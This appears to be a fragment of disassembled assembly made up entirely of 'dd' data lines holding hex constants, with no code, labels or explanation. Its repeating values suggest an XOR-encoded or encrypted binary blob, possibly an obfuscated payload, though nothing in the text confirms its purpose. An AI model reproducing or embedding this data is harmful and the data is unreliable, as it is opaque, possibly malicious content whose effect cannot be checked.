		dd 1A33F563h, 1A07D585h, 15661CBAh, 9369E832h, 15664432h
		dd 29A7A354h, 0AE357025h, 0EA9977CDh, 1A3D9B1Bh, 15662AB9h
		dd 9F697132h, 15668832h, 29E37F53h, 1A6E23C1h, 156659B7h
		dd 9E9E7032h, 0EF7A69B7h, 1AE82D35h, 0FC661132h, 15668838h
		dd 9E18670Bh, 20762EFh,	48F5770h, 0DF668832h, 29AD6C7Ah
		dd 95A2A03Eh, 760C035Bh, 16DC434Ch, 1567FD63h, 0DA672232h
		dd 1561F86Bh, 489D8832h, 3069AB8Dh, 51E319B7h, 1A6E10C1h
		dd 1566DCB7h, 1CEE4B32h, 75662232h, 78308Ah, 7407E83Bh
		dd 347FF9B1h, 1A6625C8h, 156629B7h, 156E6132h, 4CCA4432h
		dd 83E06A0Ah, 90ED3DDCh, 129C97ABh, 156649DBh, 0E87CED32h
		dd 1BD520B4h, 2C7301FCh, 0AE355351h, 0EA99DDCDh, 0FC3DCE1Bh
		dd 15668837h, 3956CC28h, 55E31937h, 1A6E10C1h, 1566E0B7h
		dd 156EAD32h, 42532232h, 0F8613ACh, 0A8E5A3FAh,	129C652Bh
		dd 5BE32D32h, 1A661132h, 156684BDh, 13E04B32h, 1A662232h
		dd 156611B8h, 0E0E30332h, 7561BE33h, 1564A63Dh,	74061132h
		dd 0EADCDA53h, 3C99BBCDh, 996978E5h, 1566112Fh,	0EDEDEE52h
		dd 156657DBh, 0AC09D232h, 9F9AFEA4h, 461F7223h,	0B9A5C95Fh
		dd 0CD4F1CCBh, 5DE32A53h, 1A6E89C1h, 15667EB7h,	1DE12D32h
		dd 1A661132h, 15668ABCh, 9E072432h, 0EF4D73B7h,	128FE435h
		dd 75668832h, 25CCFD69h, 0A833752Ch, 15661133h,	0FC3B6733h
		dd 15664439h, 9D7A59ABh, 880073A0h, 2E8BBBE6h, 149508B7h
		dd 37E32D3Ah, 0E0661132h, 37630DB9h, 730643C8h,	7569FB88h
		dd 749FFDB8h, 0EADED853h, 3C99BBCDh, 9F067AF5h,	0EFED77CCh
		dd 45E3B353h, 1A6E45C1h, 156613B7h, 9269ED32h, 1566883Eh
		dd 1560C73Dh, 92692232h, 15661132h, 1EEB0DB9h, 0E09F43C8h
		dd 0FCE7EDB5h, 0EA99EECDh, 128F47B5h, 82664432h, 0F34A99E8h
		dd 905D1E57h, 1D677B66h, 1507C13Dh, 1A062232h, 156615B7h
		dd 39D9EE32h, 0C6D94B66h, 7CE3A953h, 1A61EB1Bh,	15669BB6h
		dd 18E84B32h, 0FC662232h, 1566113Ah, 67722976h,	62812830h
		dd 10E19860h, 0D42C2A77h, 0FFE78AD0h, 49947135h, 0B88D0B3h
		dd 0C24F7EECh, 1E18768h, 0FC664432h, 1566223Dh,	7C30B1B4h
		dd 1EE996AAh, 81582E5Dh, 2EF8A251h, 149549B7h, 2CE3873Ah
		dd 0EC664432h, 0AE3A7B9h, 996916C8h, 1566883Dh,	15664EDBh
		dd 856CB832h, 3C110AA7h, 42BF3785h, 53381B64h, 1A06D5B5h
		dd 156617B6h, 15E78732h, 1A664432h, 156623B5h, 0ED07E832h
		dd 0E63A0D09h, 90694C33h, 1566224Bh, 48F7152h, 0A3668832h
		dd 0D193B882h, 3CAE8A5Fh, 1444E5C0h, 22468776h,	1566C33Dh
		dd 9E072232h, 78F70C9h,	0B5668832h, 0FE654435h,	0B74D708h
		dd 0FCFC6BB3h, 0AEA3BF34h, 0F8E3CFB3h, 0FC61D838h, 15661126h
		dd 0C1212DEDh, 0D2219A4Fh, 0E13238A6h, 0D1A9F3AEh, 0CE269F4Dh
		dd 119914A5h, 75F17A16h, 1AB9AE3Dh, 15668DBCh, 0DBE72232h
		dd 0FC0785BBh, 15661137h, 0EDBD124Eh, 75E37F05h, 1A6E23C1h
		dd 156628B7h, 9E9E7D32h, 0EF6D7DB7h, 1575CB35h,	57561132h
		dd 64D957ABh, 0E73A3940h, 3587E5Bh, 0CE899AB2h,	0EADFD94Dh
		dd 3C99BBCDh, 1E8F7BFDh, 0CC661132h, 2E4019AEh,	0D9FC2B89h
		dd 905D36C7h, 1D67E256h, 15420D3Dh, 98694432h, 1566223Eh
		dd 1560973Dh, 90698832h, 15664432h, 3D03A7B9h, 740616C8h
		dd 0EA993163h, 0DA4FBBCDh, 905DD76Bh, 129C095Fh, 15480D3Dh
		dd 9E934432h, 0EF70BBB7h, 0D2E77135h, 260A31FCh, 156654DBh
		dd 98291D32h, 8B54D8AFh, 0DDBC3A45h, 81E87F59h,	0A8334301h
		dd 0EA99EECDh, 0EC3B671Bh, 0E60EC109h, 90692A33h, 15661104h
		dd 1567023Dh, 9E9A4432h, 0EF4FABB7h, 0AD36E935h, 15668833h
		dd 1A3E8333h, 15663BB7h, 1572F832h, 5AA28832h, 3E8E2A0Ah
		dd 0AFE67D40h, 0DADD4A58h, 2D0C1135h, 905DEDF1h, 1D67D196h
		dd 15EA943Dh, 9B698832h, 15664438h, 156627DBh, 0A587F032h
		dd 0A8E51543h, 1D67B79Eh, 0EE32D32h, 0FC661132h, 1566883Ah
		dd 7922D481h, 89EA4E93h, 88FACB1h, 1A668FC8h, 156611B6h
		dd 90EDDE32h, 129C203Bh, 15669ADBh, 54254B32h, 0FA1DE00Eh
		dd 0BA671E39h, 5887FCAAh, 0FC39DF45h, 15662223h, 9E36A9EDh
		dd 0E10BD0ADh, 77F7E485h, 38AB06D1h, 14DF404Ch,	14668832h
		dd 68F1DFDh, 5F662232h,	48ADD636h, 0B731E1FDh, 5A56A553h
		dd 2AD18BC6h, 905D1DB9h, 1D677B9Ah, 15E7C13Dh, 96692232h
		dd 15661139h, 15668EDBh, 84DE1232h, 0EC792B18h,	0E6CAACB1h
		dd 1A668033h, 156677B7h, 1569CB32h, 33B91132h, 163581Bh
		dd 81626544h, 0C2722693h, 0FCDB9247h, 1561722Fh, 1527C03Dh
		dd 188F2232h, 19661132h, 0DF2BBA6Ch, 0D54A994Dh, 28A2679Ah
		dd 9EB94B9h, 1E8F8FC8h,	0B664432h, 250E54BFh, 0FB5D9AFEh
		dd 0AB30994Dh, 15664433h, 0FC38D533h, 15661139h, 0DC33CECCh
		dd 0D4BB5648h, 2E355E15h, 14957DB7h, 28E3873Ah,	1A664432h
		dd 15662ABFh, 17E61E32h, 75668832h, 70E3CF53h, 0FC61D83Dh
		dd 1566113Ch, 72BB787Eh, 0B76624E3h, 538D856h, 0AF3479E4h
		dd 15668833h, 0FC3C9333h, 1566223Ah, 0F5D86EBh,	2786E223h
		dd 0E616C109h, 90692A33h, 15661157h, 156E073Dh,	9D694432h
		dd 15662230h, 95067052h
		dd 9C6924C7h, 15664430h, 9E074352h, 0EF6770B7h,	156C6135h
		dd 978A4432h, 2DA7B6D6h, 9E283052h, 15669BDBh, 88B73E32h
		dd 0BE77BF97h, 288ADF09h, 20C6F37Fh, 0A9DEFFE4h, 3DB09F67h
		dd 0D0E75B1Bh, 0A0B05F1Bh, 1A3BAB1Bh, 15662ABFh, 4BD27132h
		dd 17783254h, 61E37F53h, 1A6E23C1h, 15662DB7h, 68FE832h
		dd 7C664432h, 96C1E502h, 695629C3h, 89DCA38h, 7826BDF4h
		dd 4506219Eh, 9E07706Ch, 0EF6B39B7h, 0AF002435h, 1A063F4Bh
		dd 9E00D18Dh, 4507E9C8h, 0EA99BB8Ah, 4DA10BCDh,	6DE32ACEh
		dd 1A6E89C1h, 15667EB7h, 90EDDB32h, 129C1DD7h, 1567093Dh
		dd 0ED934432h, 0EA999961h, 0CA4FEECDh, 1A067D69h, 15665DBAh
		dd 1572CB32h, 0A77B1132h, 639DA58Ah, 8148B06Ch,	154E15A1h
		dd 2EDAB6A8h, 2E07263Bh, 149538B7h, 21E32D3Ah, 1A661132h
		dd 156684BBh, 13E34B32h, 1A662232h, 156611B0h, 0FCE30332h
		dd 7561BE16h, 2695A354h, 74BB9B39h, 0EA993361h,	0CA4FBBCDh
		dd 1563CB69h, 71631132h, 2EA78DE5h, 1495C4B7h, 94E32D3Ah
		dd 75661132h, 15630F3Dh, 4ED84432h, 9F20DF08h, 916970ECh
		dd 1566882Bh, 156AAD52h, 0B1C82232h, 1DAA3EBh, 0CE05155Dh
		dd 9F696971h, 15662232h, 0C0E39A53h, 1A617230h,	156649B6h
		dd 9D694232h, 15661132h, 3B4E18Ah, 0AB30252Dh, 0EA99DDCDh
		dd 0FC38E61Bh, 15668821h, 37905D8Fh, 217AC509h,	7DE07340h
		dd 4DE5E12h, 75046F4Ah,	156DCACEh, 0EF8F1132h, 0FEEED3D3h
		dd 0E2168CBBh, 0FBE74407h, 743850E7h, 91697739h, 15664419h
		dd 0F996CBCAh, 1E8FEECDh, 0C9668832h, 4070899Dh, 77F8156Bh
		dd 58FF708h, 0B0668832h, 46F16589h, 14AE5281h, 0EB356580h
		dd 2EB5233Bh, 0EF7029B7h, 8E32D35h, 1A661132h, 156682B7h
		dd 0E7ED2432h, 32DEC8B3h, 98070C34h, 142618B7h,	0B68FB83Ah
		dd 0E099DDDEh, 4AB9409h, 90698FC8h, 15664497h, 157EAB3Dh
		dd 9C691132h, 15668820h, 156649DBh, 0D460F932h,	1DA45208h
		dd 0ED03C18Bh, 96937C23h, 1494EE8Fh, 9069103Ah,	1566884Bh
		dd 16E64B52h, 1A662232h, 9807EA8Dh, 4C6DEFB7h, 9E692432h
		dd 15662226h, 15661EDBh, 0D7941F32h, 8609AE93h,	77D2E912h
		dd 97A5EDAh, 156698DBh,	0DE656432h, 99FABC3Bh, 0F2AD701Eh
		dd 5135D25Eh, 0FC062533h, 15662237h, 37633FB5h,	1F8FE81Ah
		dd 4A664432h, 0B158589Fh, 525BFF5Bh, 0DDEDEECEh, 168F2553h
		dd 1A99DDDEh, 15661DB1h, 13E78732h, 1A664432h, 156622B9h
		dd 0C9E32A32h, 1A6E89C0h, 15660BB6h, 128F4232h,	98661132h
		dd 0BDD71200h, 138F632Eh, 0F3662232h, 0D5E63442h, 9406E98Eh
		dd 0D20A0FFBh, 10E42D6Dh, 0AB661132h, 44BE6BA8h, 0F5E37F53h
		dd 1A6E23C0h, 156637B7h, 15746132h, 0DD8B4432h,	0C0A37346h
		dd 823D97D5h, 4F2FCEFh,	54ABB4EEh, 0EA8DB3DBh, 11E11ECDh
		dd 75668832h, 7D074883h, 15662232h, 1572F86Ch, 2AD68832h
		dd 8F2596B8h, 5CE0E78Ah, 63620A56h, 8E0E5F63h, 969E823Ch
		dd 906923CCh, 156611F6h, 15669BDBh, 0AF0FFC32h,	0D5557BBBh
		dd 752FAB1Bh, 32DC2F3Ah, 0CD1B925Dh, 0E7B6A709h, 90691933h
		dd 1566880Ah, 0D1E3C9CBh, 1A667AB5h, 156616BBh,	14E38732h
		dd 0E0664432h, 0EA8D03DBh, 1B8E71CDh, 94668832h, 0B3B94EE1h
		dd 15959E2Dh, 62D5798Dh, 9369D183h, 15664431h, 74BFA954h
		dd 0E7B29409h, 90698033h, 15664429h, 2FE3AFCBh,	1A6649BAh
		dd 156680B1h, 17E14B32h, 75662232h, 0FFBAF853h,	2E9377CDh
		dd 14949CB7h, 20E32D3Ah, 75661132h, 18AC58B3h, 98076A74h
		dd 4DEE5DB7h, 1DE61E32h, 75668832h, 0AD001C63h,	0FC07614Ah
		dd 0EA99FB9Ch, 15680A3Dh, 0FD064432h, 15662237h, 0D78A9403h
		dd 749FD079h, 3162C562h, 147D1577h, 964215B9h, 504B8CF6h
		dd 0FC675F05h, 15662222h, 46758F44h, 1DD66A5Dh,	5F024A5h
		dd 0A0DDEECh, 156F903Dh, 73068832h, 1F369EB3h, 45074352h
		dd 0F87C688Ah, 3AC8365Ah, 0D357211Bh, 6588A36Ah, 0E2757B07h
		dd 0DD8009ECh, 5B372900h, 0D81DE4B3h, 1E9FEFE8h, 6E387C4h
		dd 0E0664432h, 0EA8C03DBh, 156EF8CDh, 0B1CF8832h, 9E1A7B60h
		dd 0BC0E9939h, 9C66114Ch, 21E7AC36h, 8D67D116h,	0E3E77C1Fh
		dd 38FE10A7h, 3CD301C7h, 0FC61BE16h, 1566223Ch,	429F9693h
		dd 72CBF280h, 0DE58CF13h, 0FC06B9C8h, 15661135h, 835268AEh
		dd 0FDAF5C8Eh, 15662222h, 0E8406AE9h, 0AC041F08h, 7F647CF1h
		dd 4F592241h, 0A0EF706Dh, 129CADDFh, 0FC58C4C7h, 1463A73Dh
		dd 9E691132h, 1566882Bh, 1575C73Dh, 1B8F2232h, 82661132h
		dd 0D796C389h, 27946315h, 1B39E2EBh, 1410EEF0h,	12DD3062h
		dd 514F7310h, 4A3E2616h, 12DDD6B3h, 0AA06BF10h,	647E8CC0h
		dd 1566A93Dh, 0E0071132h, 29C53260h, 0CF910AEFh, 0E7E7F8C5h
		dd 594D620Ah, 143C5F1Bh, 8EA1C5C5h, 7564D47Dh, 1564903Dh
		dd 0AED18832h, 741FB6B2h, 317AA964h, 1A62D5B1h,	156681B6h
		dd 61D82432h, 9E7E83D1h, 1D8F70C9h, 93668832h, 42BFC7BDh
		dd 452BC5A0h, 1526118Ah, 0DE8D0932h, 14138619h,	0DEA5A3F1h
		dd 4D13D319h, 156682DBh, 1413BE32h, 8A2619E7h, 2E21A1D5h
		dd 0EF42A18Fh, 36E44B35h, 0FC662232h, 1566113Dh, 20BD1565h
		dd 0A5F2312Dh, 91521C38h, 2E0D2F19h, 39E087C9h,	1A664432h
		dd 156623B3h, 0DE8FE832h, 1A9977DAh, 15665EB1h,	1E32D32h
		dd 0FC661132h, 1566883Dh, 23B38EB1h, 9F37112Ah,	0DC50F566h
		dd 9E024B37h, 0EF61AD8Fh, 1DE72D35h, 1A661132h,	15668AB8h
		dd 0D2072432h, 0EF52E7B7h, 15661135h, 1A067D32h, 156650B8h
		dd 1C8F4232h, 0AD661132h, 4496188Dh, 0E84562BBh, 0F8729B54h
		dd 0F8D39853h, 75617217h, 156650DAh, 298ABD32h,	0E8F829EDh
		dd 167BEED0h, 8ADEA0C4h, 0CC33B49Dh, 7439E453h,	0B8FB05CBh
		dd 0E06E464Ah, 0A106F1CDh, 0D56D7039h, 15230C3Dh, 0FC064432h
		dd 1566223Eh, 5FD82A89h, 1B2872C6h, 3418DD31h, 1560AB3Dh
		dd 90691132h, 15668832h, 1F8F2453h, 71662232h, 29BC1F55h
		dd 0D108B4BFh, 0A0DDFEDEh, 0FC076FCFh, 15661145h, 15668EDBh
		dd 6CBAEC32h, 984D076Fh, 0EADD7CAFh, 15756135h,	0A8C84432h
		dd 0D2E16D6Bh, 0A2BFB266h, 71BEDFDDh, 559B404Ah, 0C699D773h
		dd 0EA3D923Dh, 1B8F77CDh, 0BA664432h, 431422A2h, 0F1879C79h
		dd 0BE231DFh, 0A0EDBD71h, 129C07DFh, 9DB89052h,	7402CD78h
		dd 21A3F1BBh, 989E25C8h, 15DD29AFh, 19E2873Ah, 1A664432h
		dd 156624B1h, 15E81E32h, 0EA668832h, 9E93BDE1h,	0EF420BB7h
		dd 90EFE835h, 129CADDFh, 13E64B52h, 94662232h, 0CE2F7AC0h
		dd 74077D62h, 156657DBh, 0A226C132h, 0C49946AEh, 23831CDAh
		dd 0ABFF87DAh, 0F5A4092Ah, 1A8E2FB2h, 156782B7h, 14E34B32h
		dd 0E0662232h, 15B3ACB1h, 1A668FC8h, 1566B2B6h,	9E694232h
		dd 15661130h, 0AA69D687h, 0A33425F1h, 95B8D441h, 9D354DF4h
		dd 4EBE00C1h, 58F2468h,	90662232h, 72CD0C0Ch, 2A18E76Dh
		dd 256712FAh, 0FD1EF39Dh, 15661126h, 52A3D34Eh,	9B99CA86h
		dd 64644BA2h, 7512986Dh, 2AA410BFh, 75CC256Ch, 0A7B49D3Dh
		dd 9C37708Bh, 9EAE01C3h, 0D1E7603Eh, 15662236h,	231D3CC7h
		dd 0ED4F9E2Ch, 231DFA64h, 0E567342Ch, 7EB1E6Ch,	0FC668832h
		dd 1566443Fh, 5E9F31FEh, 8B25273Ch, 5C12A824h, 11DD1758h
		dd 3C662232h, 317A9AEAh
		dd 0FC624CB1h, 15664420h, 0D6FA0185h, 0B845C79Fh, 8F32A804h
		dd 0E05AA671h, 75CD3A36h, 0A797AE3Dh, 7306E9EBh, 0DC9D96B3h
		dd 15662ADAh, 642B9232h, 9D475AA2h, 1577AD53h, 2A2232h
		dd 845F125Ch, 52A4D88Bh, 0DD3E4C9h, 4D5D705Ah, 170FF853h
		dd 99698832h, 15664435h, 72B5A252h, 98074A62h, 1738F8AFh
		dd 156FAD3Ah, 19F12232h, 371938BDh, 759BB418h, 0D2E72262h
		dd 73385CB8h, 74A4488Ch, 1C8F5BCDh, 89664432h, 743AD840h
		dd 9E25E8E9h, 661B15BFh, 95694C30h, 1566223Ah, 1564913Dh
		dd 74068832h, 108F97CDh, 47662232h, 7A124A1h, 90694839h
		dd 1566447Ch, 0E7E74252h, 7D252C6Ah, 0FC07D265h, 15664422h
		dd 78C8DCACh, 7B81BCC8h, 0F6C6118Fh, 0CB1C0950h, 152CCB53h
		dd 48F1132h, 0D4668832h, 5E8CA172h, 15213393h, 67FD171h
		dd 548E5C26h, 156ACF3Dh, 99692232h, 15661134h, 1566083Dh
		dd 90E54432h, 129C07DFh, 1576F837h, 3AD78832h, 0AA2A8A69h
		dd 996B4DF6h, 0AA76AC9Dh, 308F514Ah, 0E999BBCCh, 600CBFBFh
		dd 1F8F1930h, 0AA668832h, 81944D35h, 1971F9F5h,	0FCB5EE3Dh
		dd 15668826h, 64FD4571h, 8E420324h, 0DB80A638h,	9AA0C303h
		dd 998872F1h, 9069E239h, 1566110Eh, 156699DBh, 0CC32B132h
		dd 1A3A4A70h, 8D7097FAh, 267AFC77h, 238FA307h, 0FC662232h
		dd 1566113Fh, 1E6D3365h, 892F2A09h, 0A1C01013h,	1CE51E6Dh
		dd 75668832h, 62DC8CB8h, 74200F77h, 1562AF64h, 0E7678832h
		dd 964270B9h, 0FC9E26F6h, 15661039h, 78FB05CBh,	0EC61BB89h
		dd 0C6ED4452h, 0C69970CEh, 15200B3Dh, 128F4432h, 0A7662232h
		dd 7824ED55h, 0AD067594h, 46217BEh, 0A0ED43CEh,	129C34DFh
		dd 78FDF52h, 0BF664432h, 0C9C936Eh, 0CA9F2EC7h,	0C1212DEDh
		dd 0D2219A4Fh, 8BDE7BA6h, 74336265h, 154A67DBh,	14E84B32h
		dd 0ED662232h, 308B9CB9h, 9C9A8FC8h, 0EF43A987h, 0AE35D735h
		dd 1F210F90h, 5E606BF3h, 1CFF87B3h, 0E6E737D0h,	0C129D902h
		dd 3C3D511Bh, 3DA7C5C3h, 0FC15C448h, 1566113Ch,	2C6D5912h
		dd 7A8DF2FBh, 0E1276978h, 922F2A79h, 92B57FEBh,	156FADEBh
		dd 0E4F22232h, 119E2359h, 4456864Fh, 8E60148Bh,	87A7A347h
		dd 94223157h, 0E928CFF3h, 0DCE70D5Dh, 0CD47EAh,	0E5DDE0B3h
		dd 0DB67C391h, 94A86D6Bh, 96961DCh, 0DBEC7144h,	0FCBF0954h
		dd 0B19525DFh, 749EDA52h, 0EA9ABADBh, 9400E8CDh, 46AFCFDAh
		dd 1A077CCAh, 15661BBEh, 0C5EDE832h, 1566CE3Dh,	98072232h
		dd 15DB2CAFh, 0C699713Ah, 1569AC52h, 1B052232h,	0A766C10Ch
		dd 898C944Fh, 4A95ED2Ah, 4F0742A9h, 156600DBh, 0A4D3B32h
		dd 0D1E1C2D9h, 0D835FBC5h, 0B88B81C0h, 7D0791E2h, 15666A18h
		dd 4D421EBBh, 0FD3D4152h, 15668826h, 3539963Ch,	7AA7F715h
		dd 6D97D272h, 0A360BE39h, 0C1880A28h, 743FFDB9h, 128F9419h
		dd 98698FC8h, 15664433h, 18E52DCBh, 75661132h, 0DAAD348Bh
		dd 3281C542h, 746E7674h, 202394BBh, 1E8F8FC8h, 0BB664432h
		dd 0D670B1B7h, 3F1F92DDh, 90EDCA93h, 129C43DBh,	0F3EF74C7h
		dd 1562D7B3h, 0FBE58832h, 3152C336h, 315AAB6Eh,	767479CAh
		dd 11EF8832h, 14E54B16h, 0ED662232h, 0AAA99CBFh, 128F8032h
		dd 20664432h, 0D80F4782h, 0EA9A5412h, 0BDDCE8E3h, 0FC5CC6D0h
		dd 1566223Fh, 7FC7535Ah, 0F6DFCA22h, 9FE35BF7h,	108F4332h
		dd 0F661132h, 9400D66Ah, 0B7BC1B9h, 9F6925C8h, 15661133h
		dd 0F3EFDECBh, 156282B3h, 0FBE72232h, 15661136h, 4942BCB5h
		dd 0E94240BBh, 150B365Ah, 315A9832h, 0CED18752h, 74B9CF54h
		dd 128FA7B9h, 78F16C8h,	25668832h, 9D5832A9h, 0F4D282C6h
		dd 7D674F3Fh, 0F1189A27h, 0F3EF12B2h, 1562E4B3h, 0FBE51132h
		dd 31520F36h, 3162CD6Eh, 15662CDBh, 0D1BB7632h,	0D7951E27h
		dd 5392F26Ah, 98A19E41h, 15A71CBFh, 8EE873Ah, 75664432h
		dd 18FF4B9h, 63661132h,	0ADCA758h, 2F95CA52h, 69FE059Fh
		dd 0E6B69660h, 74EC6766h, 916995CDh, 1566222Bh,	156605DBh
		dd 7707CD32h, 47CE7321h, 5387FD49h, 6EA165B4h, 75E88740h
		dd 59F12C15h, 11EF2232h, 98694B16h, 15668833h, 1A0624CBh
		dd 9069E285h, 15661132h, 0F7A00953h, 74464502h,	1562CEB3h
		dd 11EF1132h, 1F8FD116h, 68664432h, 0AE18F187h,	0A587F0F2h
		dd 8EBA343h, 1A61BE2Ch,	15662AB6h, 0AD007132h, 23D76528h
		dd 4DBC753h, 1561D839h,	150A953Dh, 188F8832h, 74664432h
		dd 4F9ABD7Dh, 25A03371h, 35ADC408h, 34BFC1B9h, 3E9E25C8h
		dd 0EF6D00B7h, 0D45D7435h, 1522C23Dh, 90692232h, 1566113Ah
		dd 15640F3Dh, 74064432h, 24ABA7B9h, 169A16C8h, 0EF6D99B7h
		dd 90EFB135h, 129C348Bh, 1567903Dh, 0FC938832h,	156645C0h
		dd 156ECA52h, 1D6B1132h, 0CB5C6218h, 0A26933D4h, 0C5E67BFBh
		dd 6A0E7023h, 9C668816h, 7306603Eh, 74431B88h, 314A9063h
		dd 5998C71h, 964240B9h,	566326F6h, 0ED76EE36h, 0EA993260h
		dd 0C567BBCDh, 0F9E7D768h, 15661136h, 0AC4284BBh, 15664BCDh
		dd 1A3FEA3Bh, 15661DBBh, 13E28732h, 1A664432h, 156622BFh
		dd 4D344132h, 0FCF4CA68h, 15664420h, 4FAA137Bh,	4C430A01h
		dd 0E9DAD2D5h, 0ED0D4373h, 90EF1F15h, 129C30EBh, 94E389CEh
		dd 7561BE19h, 1564AA3Dh, 0CFD31132h, 11905AB3h,	0D20747F9h
		dd 0EF6D33B7h, 15661135h, 8E68732h, 75664432h, 156632DAh
		dd 196F2832h, 8A7B82EBh, 833783C8h, 0DD3D0325h,	94004FB0h
		dd 7412BCFAh, 156FC13Dh, 73062232h, 5C2FF7B3h, 7F07D260h
		dd 1FE04B72h, 0FC662232h, 15661137h, 790414Bh, 5662CF3h
		dd 9D692232h, 15661135h, 1567063Dh, 479F4432h, 0D7E7C0BBh
		dd 15661136h, 156262B3h, 1E14432h, 19EF7E16h, 156AF816h
		dd 3CA78832h, 64463D5Bh, 838E315Fh, 150CE6FAh, 15669BDBh
		dd 2D2EFE32h, 1DC891E3h, 0A41CBF07h, 100E99BAh,	3772558Eh
		dd 1EE3B7CDh, 9E0616C8h, 4BD9EEF4h, 1A8F25E4h, 8B662232h
		dd 9820F78Dh, 65BEDB1Ch, 7BE78E55h, 80993F05h, 129C054Fh
		dd 156680DBh, 69F98B32h, 2C1EBD59h, 0FEA1E1Ah, 75668832h
		dd 1566CB3Dh, 188F2232h, 0FE661132h, 0EF115EABh, 0A285A75Dh
		dd 0FF15D6FBh, 0D8E39853h, 75617203h, 156656DBh, 5DBC1032h
		dd 0CDD10D6Ah, 19D6AEF6h, 64597964h, 74290EC0h,	15661BDBh
		dd 5B0B3232h, 186B928Dh, 9CC66A80h, 0EF70A8B7h,	0DE08735h
		dd 1A664432h, 156630B5h, 156BF832h, 0E5EB8832h,	6F9BA206h
		dd 700A6ADCh, 0EA84899Fh, 943FAC06h, 156640F6h,	0A099DE32h
		dd 129C078Bh, 8D377CAh,	7561BE2Ch, 4707DBCAh, 0D7E7F3BBh
		dd 15668836h, 1562AEB3h, 1E12232h, 29EF4D16h, 4706E816h
		dd 91BDC569h, 742783D2h, 0E547CBB3h, 0EA07E7DCh, 0EF61AD87h
		dd 0A2694235h, 1576F8C5h, 95C88832h, 0B8019D01h, 0B5C00420h
		dd 8FFA1D84h, 9807FDC9h, 15BF3EB7h, 1EE52D3Ah, 0FC661132h
		dd 15668834h, 9766C457h, 0C5998402h, 156614DBh,	0C00D6A32h
		dd 98676B5Fh, 129C2923h, 0ACDB9ACEh, 75617224h,	156643DBh
		dd 0AB592632h, 37DB7054h, 8D30353h, 0ED61BE2Ch,	759F86C1h
		dd 1564993Dh, 0D4D08832h, 9E0795B8h, 0EF45DB87h, 0FCCBED35h
		dd 15668823h, 0EE69618Bh, 0E013149Ah, 0AE383671h, 0AE80C252h
		dd 0C60E159Ah, 4C3BA11Eh, 0E287C07Bh, 4E9709E3h, 4422BD94h
		dd 7A420EB3h, 9A635200h
		dd 53E77474h, 56542BCEh, 0D4937B37h, 946914F2h,	1566883Eh
		dd 7EDF2252h, 6A88A320h, 746A901Dh, 0CC23E061h,	143D6B7Eh
		dd 1A0679EAh, 156608B5h, 15726132h, 83874432h, 61EC53D5h
		dd 0ADF62659h, 89A9C289h, 4CB51AFDh, 749338A7h,	1CF9431h
		dd 1D8F8FC8h, 43664432h, 744ECC28h, 0FC5EC0DDh,	1566883Eh
		dd 0C788609Ch, 1ECC00CDh, 0AA04044Ah, 3DF05B9h,	9E6943C8h
		dd 15662233h, 20BE79C7h, 19EF8832h, 3152C516h, 62F155C4h
		dd 25E711BDh, 62F1FFC4h, 15664BDBh, 0F0BEC32h, 8775FE21h
		dd 0C0DDE179h, 88164A8Fh, 0AE35D79Fh, 0EA99EECEh, 16A17B33h
		dd 2E913D9Ah, 1DE209B3h, 3EE77DDFh, 0DA6CF916h,	1569AD69h
		dd 8F612232h, 0B6CC1BC6h, 59A972E5h, 2B30FBFCh,	0ECD3ABDAh
		dd 7561EB11h, 4C3447B9h, 0EA9EC753h, 15A5A73Dh,	58F1132h
		dd 0AE668832h, 0A70C3F2Dh, 0AD89B01Dh, 27F06372h, 94BC4147h
		dd 0C8BB990Ch, 0B7E32DEFh, 75661132h, 0FEA50954h, 16E24BCFh
		dd 95662232h, 1A0756F3h, 156689B0h, 1C0EB132h, 9C66223Eh
		dd 5EDE3536h, 1047E71Dh, 0CBF69487h, 753E24BBh,	1561F952h
		dd 556D8832h, 6BB276FDh, 0DAED7804h, 0E4ED7753h, 110ED953h
		dd 4C664432h, 1A3FEC33h, 15661DBAh, 15616132h, 0DA444432h
		dd 0F2680836h, 0ECD3988Bh, 1A617211h, 156645BAh, 448FD732h
		dd 7599EEE0h, 5BBD0954h, 156FADC8h, 93C12232h, 70201F29h
		dd 74AC749Dh, 1571C33Dh, 78F2232h, 0ED661132h, 1C13FACBh
		dd 0D317AF22h, 46FCA6F7h, 776709B6h, 16A64941h,	0BCE347CBh
		dd 0FC61D826h, 1566113Eh, 8941A999h, 265D1A95h,	158AC118h
		dd 131FACB1h, 1A678FC8h, 156522B6h, 0EC06DB32h,	0BF589053h
		dd 1ACC2298h, 1566D1B7h, 156BCB32h, 0A2C81132h,	0CB98C698h
		dd 0F094E430h, 45EF8176h, 1566158Ah, 9EA08932h,	0D1E76036h
		dd 15662236h, 15661CDBh, 0BDEDE332h, 0B14EFF54h, 0B5C85911h
		dd 53A1AE9Ch, 0EB0273CEh, 23D91344h, 9462DC36h,	0B54F5FF5h
		dd 9C890947h, 3C65DBFAh, 1A39DE4Ch, 156600B9h, 156A6132h
		dd 9F8E4432h, 5E056FA7h, 0CABE69EAh, 0F9E5A956h, 3162CD36h
		dd 1A397A65h, 15661ABDh, 0CCE7E832h, 70BFCAA4h,	7401E8B2h
		dd 9D8FA360h, 317203E2h, 0ED6280B1h, 156664DBh,	4236E932h
		dd 315A036Ah, 156280B3h, 0FD062232h, 1566113Dh,	0F7AC965Fh
		dd 0A44EDACFh, 5AD4E8FCh, 7310C7D4h, 743C57B9h,	63262C54h
		dd 3172AB54h, 0C5EEF980h, 198FD254h, 31664432h,	0D78F5CA3h
		dd 88CC5594h, 7DA81582h, 1566714Fh, 0EC4226BBh,	0FCDB92C7h
		dd 1461722Fh, 1441C03Dh, 0AC062232h, 1D1535FDh,	1565013Dh
		dd 0C0E64432h, 18F4393h, 37661132h, 0A64476F8h,	0DABA7203h
		dd 313268ACh, 87DE905Eh, 44584840h, 520ADF8Bh, 4CAEAB3Fh
		dd 382EC1C5h, 0E7DE1A51h, 0A8E5BDCAh, 1D67D0DAh, 30E21E32h
		dd 0E9668832h, 0F8CAD9BFh, 58F2A32h, 0FC661132h, 75AE1127h
		dd 0E56DE6A3h, 6CF9D030h, 0EA6FC27Ch, 4537E8E1h, 0EC071B6Dh
		dd 1AF61DB2h, 156629B6h, 19EB8732h, 1A664432h, 156624B3h
		dd 15EE1E32h, 40668832h, 1566418Fh, 9E892332h, 0D1E5351Eh
		dd 0DD8F7036h, 1A664433h, 15662EBDh, 13E91E32h,	1A668832h
		dd 156644B6h, 459EA132h, 1509933Dh, 9B698832h, 1566443Bh
		dd 0C4ED4452h, 933CAA54h, 85D0DA53h, 1EDB4BAh, 11A2A116h
		dd 9069BBCBh, 15668834h, 0A269BC52h, 11ED43F3h,	0F7EF4316h
